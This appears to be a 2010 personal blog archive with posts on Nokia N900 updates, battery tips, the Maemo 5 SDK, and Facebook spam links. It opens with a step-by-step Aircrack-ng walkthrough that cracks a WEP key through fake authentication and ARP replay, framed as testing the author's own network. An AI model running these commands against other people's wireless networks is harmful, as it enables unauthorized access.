Wednesday, March 17, 2010

Use Aircrack-ng to test wireless WEP on ubuntu

i use ubuntu 9.10 and HP dv6000 laptop
the wireless card is
Intel Corporation PRO/Wireless 3945ABG
first install aircrack-ng
sudo apt-get install aircrack-ng
check your card is compatible with aircrack here
mine is already included in kernel 2.6.24 and injection is in kernel 2.6.25 or later
my kernel is 2.6.31 so i dont need to do anything

here is the getting started tutorial

this is what i did to test my network
1- Start the wireless interface in monitor mode on AP channel
sudo airmon-ng start eth1
the output
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
988 avahi-daemon
989 avahi-daemon
1066 NetworkManager
1361 wpa_supplicant
32735 dhclient
Process with PID 32735 (dhclient) is running on interface eth1
Interface Chipset Driver
eth1 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon2)
mon0 Intel 3945ABG iwl3945 - [phy0]
mon1 Intel 3945ABG iwl3945 - [phy0]

2- Test Wireless Device Packet Injection
sudo aireplay-ng -9 -e netwrok_name mon0

3- Start airodump-ng to capture the IVs
in a new shell
sudo airodump-ng -c channel_id --bssid accesspoint_mac -w output mon0

4- Use aireplay-ng to do a fake authentication with the access point
in a new shell
sudo aireplay-ng -1 6000 -o 1 -q 10 -e netwrok_name -a accesspoint_mac -h laptop_mac mon0

5- Start aireplay-ng in ARP request replay mode
in a new shell
sudo aireplay-ng -3 -b accesspoint_mac -h laptop_mac mon0

wait until you got some ARP requests (this may take some time)

6- Run aircrack-ng to obtain the WEP key
in a new shell
sudo aircrack-ng -b accesspoint_mac output*.cap

after some time (depends on the key) you will get the key

Thursday, February 25, 2010

not enough space problem while upgrading N900

I've write before about the new minor update N900 had here
I tried to install it, and i always have a problem regarding not enough space on device
here is what i did to make it work
1- reboot the device from the shell (open shell, run root, run reboot)
2- removed unused widgets
3- disabled the extra, and testing repository from the application manager

after that i could update the device
i did not see any new addition
also i think that point 3 is the solution

hope to hear from you all if you have problem and how you solved it

Wednesday, February 17, 2010

Minor Firmware Update (3.2010.02-8) For Nokia N900 Now Available!

The Nokia N900 received an update Tuesday morning to version 3.2010.02-8.
The software update is available through the app manager so go ahead and check your N900.

here is the Original post in maemo freak

Thursday, January 28, 2010

writting Helloworld example for Maemo 5 and run it on SDK and N900

here is the steps i did to write the famous Helloworld first example for maemo 5
compile it and test it in the SDK and finally compile it to run in N900
The original post is here

1- install Maemo 5 SDK from here
2- open terminal and run
Xephyr :2 -host-cursor -screen 800x480x16 -dpi 96 -ac -kb &
3- open another terminal and run
/scratchbox/login
this is where you do all the coming steps
4- you should be working in the home
[sbox-FREMANTLE_ARMEL: ~] >pwd
/home/user
5-[sbox-FREMANTLE_ARMEL: ~] >vi helloworld.c
and add the following code:
#include  /* printf */
int main(int argc, char** argv) {
printf("Hello world\n");
return 0;
}

6- to test the code in the SDK you need to compile for PC this is done by
[sbox-FREMANTLE_ARMEL: ~] >sb-menu
choose "select" then "FREMANTLE_X86" then "OK"
7- [sbox-FREMANTLE_X86: ~] > gcc -Wall -g helloworld.c -o helloworld
8- [sbox-FREMANTLE_X86: ~] > ./helloworld
it will give you
Hello world

9- Now lets compile it for N900
10-[sbox-FREMANTLE_ARMEL: ~] >sb-menu
choose "select" then "FREMANTLE_ARMEL" then "OK"
if it complains from running process choose "killall" and try again
11-[sbox-FREMANTLE_X86: ~] > gcc -Wall -g helloworld.c -o helloworld
12- connect N900 as storage
13- copy the file helloworld to the N900
14- disconnect the N900 from the PC
15- open shell
16- type root
17- move the helloworld to the home of the root
18- add execute to the Helloworld file (chmod +x helloworld)
19- run it (./helloworld) you should get
Hello world

and that it i finished the first example

N900 battery not charging after completely discharge

i noticed that if i leave my N900 battery to discharge completely
then i try to charge it, it may not charge
a friend of mine faced this too and i found that people in internet faced the same problem

here is what you can do

- leave it connected to wall charge for some time (10-15 minutes) then try to start it again
- disconnect the charger, then remove the battery for a minute or two, reinsert the battery, connect the charge and try to start it

so my recommendation

never discharge N900 battery completely

Tuesday, January 26, 2010

installing and tesgting Maemo 5 SDK

Here is how i installed Maemo 5 SDK in Ubuntu
the main documentation is here

1- Installing the X-server
sudo apt-get install xserver-xephyr
2- Installing the SDK

i used the GUI installed method
wget http://repository.maemo.org/stable/5.0/maemo-sdk-install-wizard_5.0.py
chmod a+x maemo-sdk-install-wizard_5.0.py
sudo ./maemo-sdk-install-wizard_5.0.py

3- Starting the SDK
- open terminal and run
Xephyr :2 -host-cursor -screen 800x480x16 -dpi 96 -ac -kb &
- open another terminal and run
/scratchbox/login


if you got error regarding permissions, just log off then log in again

4- Testing the SDK
use the test here



Tuesday, January 5, 2010

facebook messages about BINSSERVICESONLINE .INFO

Hello,
i keep getting messages from friends about this web site
BINSSERVICESONLINE .INFO
it seems either a spam or a virus

here is a sample of two messages
"hey what's up? was just chatting with Abdulla and they asked me if you know about BINSSERVICESONLINE .INFO or not"

"Abdallah mentioned you might be interested in this BINSSERVICESSTORE .INFO"

if anyone have more info please add it here

thank you